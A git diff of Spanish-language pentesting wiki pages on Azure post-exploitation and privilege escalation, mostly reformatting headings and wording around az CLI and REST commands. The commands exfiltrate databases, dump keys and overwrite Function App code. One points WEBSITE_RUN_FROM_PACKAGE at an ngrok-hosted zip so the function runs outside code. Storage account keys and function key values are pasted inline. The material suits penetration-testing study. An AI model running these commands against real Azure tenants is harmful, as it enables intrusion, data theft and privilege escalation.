`Microsoft.DBforPostgreSQL/flexibleServers/stop/action` Con este permiso, puedes detener una instancia de PostgreSQL Flexible Server en Azure. Detener un servidor puede provocar una interrupción temporal del servicio, afectando a las aplicaciones y usuarios dependientes de la base de datos. - -{% code overflow="wrap" %} ```bash az postgres flexible-server stop \ --name \ --resource-group ``` -{% endcode %} -### "Microsoft.DBforPostgreSQL/flexibleServers/start/action" +### `Microsoft.DBforPostgreSQL/flexibleServers/start/action` With this permission, you can start a stopped PostgreSQL Flexible Server instance on Azure. Starting a server restores its availability, enabling applications and users to reconnect and access the database. -{% code overflow="wrap" %} ```bash az postgres flexible-server start \ --name \ --resource-group ``` -{% endcode %} -### "Microsoft.DBforPostgreSQL/flexibleServers/read", "Microsoft.DBforPostgreSQL/flexibleServers/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action" +### `Microsoft.DBforPostgreSQL/flexibleServers/read`, `Microsoft.DBforPostgreSQL/flexibleServers/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` With this permission, you can assign a user-assigned managed identity to postgres flexible servers. -{% code overflow="wrap" %} ```bash az postgres flexible-server identity assign \ --resource-group \ --server-name \ --identity ``` -{% endcode %} -### "*/delete" +### `*/delete` With this permissions you can delete resources related to postgres server in Azure such as server, firewalls, managed identities or configurations diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md index 7a2d1d110..f2cc52c1d 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md @@ -10,7 +10,7 @@ Para más información sobre SQL Database consulta: ../az-services/az-sql.md {{#endref}} -### "Microsoft.Sql/servers/databases/read", "Microsoft.Sql/servers/read" && "Microsoft.Sql/servers/databases/write" +### `Microsoft.Sql/servers/databases/read`, `Microsoft.Sql/servers/read` && `Microsoft.Sql/servers/databases/write` Con estos permisos, un atacante puede crear y actualizar bases de datos dentro del entorno comprometido. Esta actividad de post-explotación podría permitir a un atacante agregar datos maliciosos, modificar configuraciones de la base de datos o insertar puertas traseras para una mayor persistencia, potencialmente interrumpiendo operaciones o habilitando acciones maliciosas adicionales. ```bash @@ -20,7 +20,7 @@ az sql db create --resource-group --server --name # Update Database az sql db update --resource-group --server --name --max-size ``` -### "Microsoft.Sql/servers/elasticPools/write" && "Microsoft.Sql/servers/elasticPools/read" +### `Microsoft.Sql/servers/elasticPools/write` && `Microsoft.Sql/servers/elasticPools/read` Con estos permisos, un atacante puede crear y actualizar elasticPools dentro del entorno comprometido. Esta actividad de post-explotación podría permitir a un atacante agregar datos maliciosos, modificar configuraciones de bases de datos o insertar puertas traseras para una mayor persistencia, lo que podría interrumpir las operaciones o habilitar acciones maliciosas adicionales. ```bash @@ -40,7 +40,7 @@ az sql elastic-pool update \ --dtu \ --tags ``` -### "Microsoft.Sql/servers/auditingSettings/read" && "Microsoft.Sql/servers/auditingSettings/write" +### `Microsoft.Sql/servers/auditingSettings/read` && `Microsoft.Sql/servers/auditingSettings/write` Con este permiso, puedes modificar o habilitar la configuración de auditoría en un Azure SQL Server. Esto podría permitir a un atacante o usuario autorizado manipular las configuraciones de auditoría, potencialmente cubriendo sus huellas o redirigiendo los registros de auditoría a una ubicación bajo su control. Esto puede obstaculizar la monitorización de seguridad o permitir que se realice un seguimiento de las acciones. NOTA: Para habilitar la auditoría para un Azure SQL Server utilizando Blob Storage, debes adjuntar una cuenta de almacenamiento donde se puedan guardar los registros de auditoría. ```bash @@ -51,7 +51,7 @@ az sql server audit-policy update \ --storage-account \ --retention-days 7 ``` -### "Microsoft.Sql/locations/connectionPoliciesAzureAsyncOperation/read", "Microsoft.Sql/servers/connectionPolicies/read" && "Microsoft.Sql/servers/connectionPolicies/write" +### `Microsoft.Sql/locations/connectionPoliciesAzureAsyncOperation/read`, `Microsoft.Sql/servers/connectionPolicies/read` && `Microsoft.Sql/servers/connectionPolicies/write` Con este permiso, puedes modificar las políticas de conexión de un Azure SQL Server. Esta capacidad puede ser explotada para habilitar o cambiar la configuración de conexión a nivel de servidor. ```bash @@ -60,9 +60,9 @@ az sql server connection-policy update \ --resource-group \ --connection-type ``` -### "Microsoft.Sql/servers/databases/export/action" +### `Microsoft.Sql/servers/databases/export/action` -Con este permiso, puedes exportar una base de datos de un Azure SQL Server a una cuenta de almacenamiento. Un atacante o usuario autorizado con este permiso puede exfiltrar datos sensibles de la base de datos exportándola a una ubicación que controlan, lo que representa un riesgo significativo de filtración de datos. Es importante conocer la clave de almacenamiento para poder realizar esto. +Con este permiso, puedes exportar una base de datos de un Azure SQL Server a una cuenta de almacenamiento. Un atacante o usuario autorizado con este permiso puede exfiltrar datos sensibles de la base de datos exportándola a una ubicación que controlan, lo que representa un riesgo significativo de violación de datos. Es importante conocer la clave de almacenamiento para poder realizar esto. ```bash az sql db export \ --server \ @@ -74,7 +74,7 @@ az sql db export \ --admin-password ``` -### "Microsoft.Sql/servers/databases/import/action" +### `Microsoft.Sql/servers/databases/import/action` Con este permiso, puedes importar una base de datos en un Azure SQL Server. Un atacante o usuario autorizado con este permiso puede potencialmente subir bases de datos maliciosas o manipuladas. Esto puede llevar a obtener control sobre datos sensibles o a incrustar scripts o triggers dañinos dentro de la base de datos importada. Adicionalmente, puedes importarlo a tu propio servidor en Azure. Nota: El servidor debe permitir que los servicios y recursos de Azure accedan al servidor. ```bash @@ -85,6 +85,6 @@ az sql db import --admin-user \ --resource-group \ --storage-key-type SharedAccessKey \ --storage-key \ ---storage-uri "https://.blob.core.windows.net/bacpac-container/MyDatabase.bacpac" +--storage-uri `https://.blob.core.windows.net/bacpac-container/MyDatabase.bacpac` ``` {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md index 8633b85d2..9a9c6a6a6 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md @@ -5,15 +5,13 @@ ## CosmosDB Privesc Para más información sobre SQL Database consulta: -{% content-ref url="../az-services/az-cosmosDB.md" %} -[az-cosmosDB.md](../az-services/az-cosmosDB.md) -{% endcontent-ref %} +{{#ref}} +../az-services/az-cosmosDB.md +{{#endref}} -### ("Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/write", "Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/read") & ("Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/write", "Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/read") +### (`Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/write`, `Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/read`) & (`Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/write`, `Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/read`) -Con estos permisos puedes escalar privilegios otorgando a un usuario los permisos para ejecutar consultas y conectarse a la base de datos. Primero se crea un rol de definición otorgando los permisos y alcances necesarios. - -{% code overflow="wrap" %} +Con estos permisos puedes escalar privilegios otorgando a un usuario los permisos para ejecutar consultas y conectarse a la base de datos. Primero se crea una definición de rol otorgando los permisos y alcances necesarios. ```bash az cosmosdb sql role definition create \ --account-name \ @@ -36,11 +34,7 @@ az cosmosdb sql role definition create \ ] }' ``` -{% endcode %} - Después de eso, se asigna la definición a un usuario. Después de esto, ese usuario puede usar el método de conexión DefaultAzureCredential() para ejecutar consultas. - -{% code overflow="wrap" %} ```bash az cosmosdb sql role assignment create \ --account-name \ @@ -49,19 +43,12 @@ az cosmosdb sql role assignment create \ --principal-id \ --scope "/" ``` -{% endcode %} - -### "Microsoft.DocumentDB/databaseAccounts/listKeys/action" +### `Microsoft.DocumentDB/databaseAccounts/listKeys/action` Con este permiso, puedes recuperar las claves primaria y secundaria para una cuenta de Azure Cosmos DB. Estas claves proporcionan acceso completo a la cuenta de la base de datos y sus recursos, lo que permite acciones como lecturas de datos, escrituras y cambios de configuración. - -{% code overflow="wrap" %} ```bash az cosmosdb keys list \ --name \ --resource-group ``` -{% endcode %} - - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md index 00d1c4ce2..d4a553e4e 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md @@ -20,18 +20,18 @@ Una vez que encuentres dónde se encuentra el código de la función, si tienes El código de la función generalmente se almacena dentro de un recurso compartido de archivos. Con suficiente acceso, es posible modificar el archivo de código y **hacer que la función cargue código arbitrario**, lo que permite escalar privilegios a las identidades administradas adjuntas a la Función. -Este método de implementación generalmente configura los ajustes **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** y **`WEBSITE_CONTENTSHARE`** que puedes obtener de +Este método de implementación generalmente configura los ajustes **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** y **`WEBSITE_CONTENTSHARE`** que puedes obtener de ```bash az functionapp config appsettings list \ --name \ --resource-group ``` -Esas configuraciones contendrán la **Clave de la Cuenta de Almacenamiento** que la Función puede usar para acceder al código. +Esas configuraciones contendrán la **Storage Account Key** que la Función puede usar para acceder al código. > [!CAUTION] > Con suficientes permisos para conectarse al File Share y **modificar el script** en ejecución, es posible ejecutar código arbitrario en la Función y escalar privilegios. -El siguiente ejemplo utiliza macOS para conectarse al file share, pero se recomienda también consultar la siguiente página para obtener más información sobre file shares: +El siguiente ejemplo utiliza macOS para conectarse al file share, pero se recomienda también consultar la siguiente página para más información sobre file shares: {{#ref}} ../az-services/az-file-shares.md @@ -55,14 +55,14 @@ az functionapp config appsettings list \ --name \ --resource-group ``` -Esta configuración generalmente contendrá una **SAS URL para descargar** el código de la Cuenta de Almacenamiento. +Esta configuración generalmente contendrá una **URL SAS para descargar** el código de la Cuenta de Almacenamiento. > [!CAUTION] -> Con suficientes permisos para conectarse al contenedor de blobs que **contiene el código en zip**, es posible ejecutar código arbitrario en la Función y escalar privilegios. +> Con suficientes permisos para conectarse al contenedor de blobs que **contiene el código en zip** es posible ejecutar código arbitrario en la Función y escalar privilegios. - **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE)` -Al igual que en el caso anterior, si el despliegue se realiza a través de Github Actions, es posible encontrar la carpeta **`github-actions-deploy`** en la Cuenta de Almacenamiento que contiene un zip del código y una SAS URL al zip en la configuración `WEBSITE_RUN_FROM_PACKAGE`. +Al igual que en el caso anterior, si el despliegue se realiza a través de Github Actions, es posible encontrar la carpeta **`github-actions-deploy`** en la Cuenta de Almacenamiento que contiene un zip del código y una URL SAS al zip en la configuración `WEBSITE_RUN_FROM_PACKAGE`. - **`scm-releases`**`(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` y `WEBSITE_CONTENTSHARE`) @@ -116,7 +116,7 @@ az storage blob upload \ --file /tmp/scm-latest-.zip \ --overwrite ``` -### Microsoft.Web/sites/host/listkeys/action +### `Microsoft.Web/sites/host/listkeys/action` Este permiso permite listar las claves de función, maestro y sistema, pero no la clave de host, de la función especificada con: ```bash @@ -143,19 +143,19 @@ curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwro -H "If-Match: *" \ -v ``` -### Microsoft.Web/sites/functions/listKeys/action +### `Microsoft.Web/sites/functions/listKeys/action` Este permiso permite obtener la clave de host de la función especificada con: ```bash az rest --method POST --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions//listKeys?api-version=2022-03-01" ``` -### Microsoft.Web/sites/host/functionKeys/write +### `Microsoft.Web/sites/host/functionKeys/write` Este permiso permite crear/actualizar una clave de función de la función especificada con: ```bash az functionapp keys set --resource-group --key-name --key-type functionKeys --name --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ== ``` -### Microsoft.Web/sites/host/masterKey/write +### `Microsoft.Web/sites/host/masterKey/write` Este permiso permite crear/actualizar una clave maestra para la función especificada con: ```bash @@ -164,13 +164,13 @@ az functionapp keys set --resource-group --key-name --key > [!CAUTION] > ¡Recuerda que con esta clave también puedes acceder al código fuente y modificarlo como se explicó antes! -### Microsoft.Web/sites/host/systemKeys/write +### `Microsoft.Web/sites/host/systemKeys/write` Este permiso permite crear/actualizar una clave de función del sistema para la función especificada con: ```bash az functionapp keys set --resource-group --key-name --key-type masterKey --name --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ== ``` -### Microsoft.Web/sites/config/list/action +### `Microsoft.Web/sites/config/list/action` Este permiso permite obtener la configuración de una función. Dentro de estas configuraciones, podría ser posible encontrar los valores predeterminados **`AzureWebJobsStorage`** o **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** que contienen una **clave de cuenta para acceder al almacenamiento de blobs de la función con permisos COMPLETOS**. ```bash @@ -181,13 +181,13 @@ Además, este permiso también permite obtener el **nombre de usuario y la contr az rest --method POST \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//config/publishingcredentials/list?api-version=2018-11-01" ``` -### Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/write +### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/write` -Estos permisos permiten listar los valores de configuración de una función como hemos visto antes, además de **modificar estos valores**. Esto es útil porque estas configuraciones indican dónde se encuentra el código que se ejecutará dentro de la función. +Estos permisos permiten listar los valores de configuración de una función como hemos visto antes, además de **modificar estos valores**. Esto es útil porque estas configuraciones indican dónde se encuentra el código que se ejecutará dentro de la función. -Por lo tanto, es posible establecer el valor de la configuración **`WEBSITE_RUN_FROM_PACKAGE`** apuntando a un archivo zip de URL que contenga el nuevo código para ejecutar dentro de una aplicación web: +Por lo tanto, es posible establecer el valor de la configuración **`WEBSITE_RUN_FROM_PACKAGE`** apuntando a un archivo zip en URL que contenga el nuevo código a ejecutar dentro de una aplicación web: -- Comienza obteniendo la configuración actual +- Comience obteniendo la configuración actual ```bash az functionapp config appsettings list \ --name \ @@ -213,7 +213,7 @@ az rest --method PUT \ --headers '{"Content-Type": "application/json"}' \ --body '{"properties": {"APPLICATIONINSIGHTS_CONNECTION_STRING": "InstrumentationKey=67b64ab1-a49e-4e37-9c42-ff16e07290b0;IngestionEndpoint=https://canadacentral-1.in.applicationinsights.azure.com/;LiveEndpoint=https://canadacentral.livediagnostics.monitor.azure.com/;ApplicationId=cdd211a7-9981-47e8-b3c7-44cd55d53161", "AzureWebJobsStorage": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net", "FUNCTIONS_EXTENSION_VERSION": "~4", "FUNCTIONS_WORKER_RUNTIME": "python", "WEBSITE_CONTENTAZUREFILECONNECTIONSTRING": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net","WEBSITE_CONTENTSHARE": "newfunctiontestlatestrelease89c1", "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"}}' ``` -### Microsoft.Web/sites/hostruntime/vfs/write +### `Microsoft.Web/sites/hostruntime/vfs/write` Con este permiso es **posible modificar el código de una aplicación** a través de la consola web (o a través del siguiente punto final de API): ```bash @@ -224,7 +224,7 @@ az rest --method PUT \ --headers '{"Content-Type": "application/json", "If-Match": "*"}' \ --body @/tmp/body ``` -### Microsoft.Web/sites/publishxml/action, (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write) +### `Microsoft.Web/sites/publishxml/action`, (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`) Este permiso permite listar todos los perfiles de publicación que básicamente contienen **credenciales de autenticación básica**: ```bash @@ -297,38 +297,29 @@ ls # List get ./function_app.py -o /tmp/ # Download function_app.py in /tmp put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it ``` -_Tenga en cuenta que el **nombre de usuario FTP** suele estar en el formato \\\$\._ +_Tenga en cuenta que el **nombre de usuario de FTP** suele estar en el formato \\\$\._ -### Microsoft.Web/sites/publish/Action - -Según [**la documentación**](https://github.com/projectkudu/kudu/wiki/REST-API#command), este permiso permite **ejecutar comandos dentro del servidor SCM**, lo que podría usarse para modificar el código fuente de la aplicación: -```bash -az rest --method POST \ ---resource "https://management.azure.com/" \ ---url "https://newfuncttest123.scm.azurewebsites.net/api/command" \ ---body '{"command": "echo Hello World", "dir": "site\\repository"}' --debug -``` -### Microsoft.Web/sites/hostruntime/vfs/read +### `Microsoft.Web/sites/hostruntime/vfs/read` Este permiso permite **leer el código fuente** de la aplicación a través del VFS: ```bash az rest --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" ``` -### Microsoft.Web/sites/functions/token/action +### `Microsoft.Web/sites/functions/token/action` -Con este permiso es posible [obtener el **token de administrador**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) que puede ser utilizado posteriormente para recuperar la **clave maestra** y, por lo tanto, acceder y modificar el código de la función: +Con este permiso es posible [obtener el **token de administrador**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) que puede ser utilizado posteriormente para recuperar la **clave maestra** y, por lo tanto, acceder y modificar el código de la función. + +Sin embargo, en mis últimos chequeos no se devolvió ningún token, por lo que podría estar deshabilitado o no funcionar más, pero aquí está cómo lo harías: ```bash # Get admin token -az rest --method POST \ ---url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions/admin/token?api-version=2024-04-01" \ ---headers '{"Content-Type": "application/json"}' \ ---debug +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions/admin/token?api-version=2024-04-01" # Get master key curl "https://.azurewebsites.net/admin/host/systemkeys/_master" \ -H "Authorization: Bearer " ``` -### Microsoft.Web/sites/config/write, (Microsoft.Web/sites/functions/properties/read) +### `Microsoft.Web/sites/config/write`, (`Microsoft.Web/sites/functions/properties/read`) Este permiso permite **habilitar funciones** que podrían estar deshabilitadas (o deshabilitarlas). ```bash @@ -342,15 +333,15 @@ También es posible ver si una función está habilitada o deshabilitada en la s ```bash az rest --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions//properties/state?api-version=2024-04-01" ``` -### Microsoft.Web/sites/config/write, Microsoft.Web/sites/config/list/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/read) +### `Microsoft.Web/sites/config/write`, `Microsoft.Web/sites/config/list/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/read`) -Con estos permisos es posible **modificar el contenedor ejecutado por una aplicación de función** configurada para ejecutar un contenedor. Esto permitiría a un atacante subir una aplicación de contenedor de función de azure maliciosa a docker hub (por ejemplo) y hacer que la función la ejecute. +Con estos permisos es posible **modificar el contenedor ejecutado por una aplicación de función** configurada para ejecutar un contenedor. Esto permitiría a un atacante subir una aplicación de contenedor de función de Azure maliciosa a Docker Hub (por ejemplo) y hacer que la función la ejecute. ```bash az functionapp config container set --name \ --resource-group \ --image "mcr.microsoft.com/azure-functions/dotnet8-quickstart-demo:1.0" ``` -### Microsoft.Web/sites/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.App/managedEnvironments/join/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/operationresults/read) +### `Microsoft.Web/sites/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/operationresults/read`) Con estos permisos es posible **adjuntar una nueva identidad administrada por el usuario a una función**. Si la función fue comprometida, esto permitiría escalar privilegios a cualquier identidad administrada por el usuario. ```bash @@ -361,7 +352,7 @@ az functionapp identity assign \ ``` ### Depuración Remota -También es posible conectarse para depurar una función de Azure en ejecución como [**se explica en la documentación**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Sin embargo, por defecto, Azure desactivará esta opción en 2 días en caso de que el desarrollador olvide evitar dejar configuraciones vulnerables. +También es posible conectarse para depurar una función de Azure en ejecución como [**se explica en la documentación**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Sin embargo, por defecto, Azure desactivará esta opción en 2 días en caso de que el desarrollador se olvide para evitar dejar configuraciones vulnerables. Es posible verificar si una función tiene la depuración habilitada con: ```bash @@ -373,7 +364,7 @@ az functionapp config set --remote-debugging-enabled=True --name --re ``` ### Cambiar el repositorio de Github -Intenté cambiar el repositorio de Github desde donde se está realizando el despliegue ejecutando los siguientes comandos, pero aunque se cambió, **el nuevo código no se cargó** (probablemente porque está esperando que la Acción de Github actualice el código).\ +Intenté cambiar el repositorio de Github desde donde se está realizando el despliegue ejecutando los siguientes comandos, pero incluso si se cambió, **el nuevo código no se cargó** (probablemente porque está esperando que la acción de Github actualice el código).\ Además, **la credencial federada de identidad administrada no se actualizó** permitiendo el nuevo repositorio, por lo que parece que esto no es muy útil. ```bash # Remove current diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md index eec53d9d4..409b565b5 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md @@ -10,7 +10,7 @@ Para más información sobre este servicio, consulta: ../az-services/az-keyvault.md {{#endref}} -### Microsoft.KeyVault/vaults/write +### `Microsoft.KeyVault/vaults/write` Un atacante con este permiso podrá modificar la política de un key vault (el key vault debe estar utilizando políticas de acceso en lugar de RBAC). ```bash diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md index d03509606..f3d963060 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md @@ -5,15 +5,13 @@ ## Logic Apps Privesc Para más información sobre SQL Database consulta: -{% content-ref url="../az-services/az-logic-apps.md" %} -[az-logic-apps.md](../az-services/az-logic-apps.md) -{% endcontent-ref %} +{{#ref}} +../az-services/az-logic-apps.md +{{#endref}} -### ("Microsoft.Resources/subscriptions/resourcegroups/read", "Microsoft.Logic/workflows/read", "Microsoft.Logic/workflows/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action") && ("Microsoft.Logic/workflows/triggers/run/action") +### (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Logic/workflows/read`, `Microsoft.Logic/workflows/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`) && (`Microsoft.Logic/workflows/triggers/run/action`) Con este permiso, puedes crear o actualizar flujos de trabajo de Azure Logic Apps. Los flujos de trabajo definen procesos automatizados e integraciones entre varios sistemas y servicios. - -{% code overflow="wrap" %} ```bash az logic workflow create \ --resource-group \ @@ -26,8 +24,6 @@ az logic workflow update \ --resource-group logicappgroup \ --definition ``` -{% endcode %} - Y después de cambiarlo, puedes ejecutarlo con: ```bash az rest \ @@ -36,16 +32,12 @@ az rest \ --body '{}' \ --headers "Content-Type=application/json" ``` -### ("Microsoft.Web/sites/read", "Microsoft.Web/sites/basicPublishingCredentialsPolicies/read", "Microsoft.Web/sites/write", "Microsoft.Web/sites/config/list/action") && ("Microsoft.Web/sites/start/action") -Con estos permisos, puedes implementar flujos de trabajo de Logic App utilizando implementaciones de archivos ZIP. Estos permisos permiten acciones como leer detalles de la aplicación, acceder a credenciales de publicación, realizar cambios y listar configuraciones de la aplicación. Junto con los permisos de inicio, puedes actualizar e implementar una nueva Logic App con el contenido deseado. - -{% code overflow="wrap" %} +### (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/basicPublishingCredentialsPolicies/read`, `Microsoft.Web/sites/write`, `Microsoft.Web/sites/config/list/action`) && (`Microsoft.Web/sites/start/action`) +Con estos permisos, puedes implementar flujos de trabajo de Logic App utilizando implementaciones de archivos ZIP. Estos permisos permiten acciones como leer detalles de la aplicación, acceder a credenciales de publicación, escribir cambios y listar configuraciones de la aplicación. Junto con los permisos de inicio, puedes actualizar e implementar una nueva Logic App con el contenido deseado. ```bash az logicapp deployment source config-zip \ --name \ --resource-group \ --src ``` -{% endcode %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md index 718355dad..48ebc9753 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md @@ -2,19 +2,16 @@ {{#include ../../../banners/hacktricks-training.md}} - ## MySQL Database Privesc Para más información sobre SQL Database, consulta: -{% content-ref url="../az-services/az-mysql.md" %} -[az-mysql.md](../az-services/az-mysql.md) -{% endcontent-ref %} +{{#ref}} +../az-services/az-mysql.md +{{#endref}} -### ""Microsoft.DBforMySQL/flexibleServers/read" && "Microsoft.DBforMySQL/flexibleServers/write" +### `Microsoft.DBforMySQL/flexibleServers/read` && `Microsoft.DBforMySQL/flexibleServers/write` Con este permiso, puedes crear, actualizar o eliminar instancias de MySQL Flexible Server en Azure. Esto incluye aprovisionar nuevos servidores, modificar configuraciones de servidores existentes o desmantelar servidores. - -{% code overflow="wrap" %} ```bash az mysql flexible-server create \ --name \ @@ -27,32 +24,20 @@ az mysql flexible-server create \ --tier \ --version ``` -{% endcode %} - Por ejemplo, estos permisos permiten cambiar la contraseña de MySQL, útil por supuesto en caso de que la autenticación de MySQL esté habilitada. - -{% code overflow="wrap" %} ```bash az mysql flexible-server update \ --resource-group \ --name \ --admin-password ``` -{% endcode %} - -Además, es necesario tener habilitado el acceso público si deseas acceder desde un punto final no privado. Para habilitarlo: - -{% code overflow="wrap" %} +Además, es necesario tener habilitado el acceso público si deseas acceder desde un endpoint no privado. Para habilitarlo: ```bash az mysql flexible-server update --resource-group --server-name --public-access Enabled ``` -{% endcode %} +### `Microsoft.DBforMySQL/flexibleServers/read`, `Microsoft.DBforMySQL/flexibleServers/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.DBforMySQL/flexibleServers/administrators/write` && `Microsoft.DBforMySQL/flexibleServers/administrators/read` -### ""Microsoft.DBforMySQL/flexibleServers/read", "Microsoft.DBforMySQL/flexibleServers/write", "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action", "Microsoft.DBforMySQL/flexibleServers/administrators/write" && "Microsoft.DBforMySQL/flexibleServers/administrators/read"" - -Con este permiso, puedes configurar administradores de Azure Active Directory (AD) para un Servidor Flexible de MySQL. Esto se puede explotar configurando a uno mismo u otra cuenta como el administrador de AD, otorgando control administrativo total sobre el servidor MySQL. Es importante que el servidor flexible tenga identidades administradas asignadas a un usuario para poder utilizarlo. - -{% code overflow="wrap" %} +Con este permiso, puedes configurar administradores de Azure Active Directory (AD) para un Servidor Flexible de MySQL. Esto se puede explotar configurando a uno mismo o a otra cuenta como el administrador de AD, otorgando control administrativo total sobre el servidor MySQL. Es importante que el servidor flexible tenga identidades administradas asignadas a un usuario para usar. ```bash az mysql flexible-server ad-admin create \ --resource-group \ @@ -61,6 +46,4 @@ az mysql flexible-server ad-admin create \ --identity \ --object-id ``` -{% endcode %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md index 5dc298652..32a22528d 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md @@ -3,17 +3,15 @@ {{#include ../../../banners/hacktricks-training.md}} ## PostgreSQL Privesc -Para más información sobre SQL Database, consulta: +Para más información sobre SQL Database consulta: -{% content-ref url="../az-services/az-postgresql.md" %} +{{#ref}} [az-postgresql.md](../az-services/az-postgresql.md) -{% endcontent-ref %} +{{#endref}} -### "Microsoft.DBforPostgreSQL/flexibleServers/read" && "Microsoft.DBforPostgreSQL/flexibleServers/write" +### `Microsoft.DBforPostgreSQL/flexibleServers/read` && `Microsoft.DBforPostgreSQL/flexibleServers/write` Con este permiso, puedes crear, actualizar o eliminar instancias de PostgreSQL Flexible Server en Azure. Esto incluye aprovisionar nuevos servidores, modificar configuraciones de servidores existentes o desmantelar servidores. - -{% code overflow="wrap" %} ```bash az postgres flexible-server create \ --name \ @@ -26,34 +24,22 @@ az postgres flexible-server create \ --tier \ --version ``` -{% endcode %} - 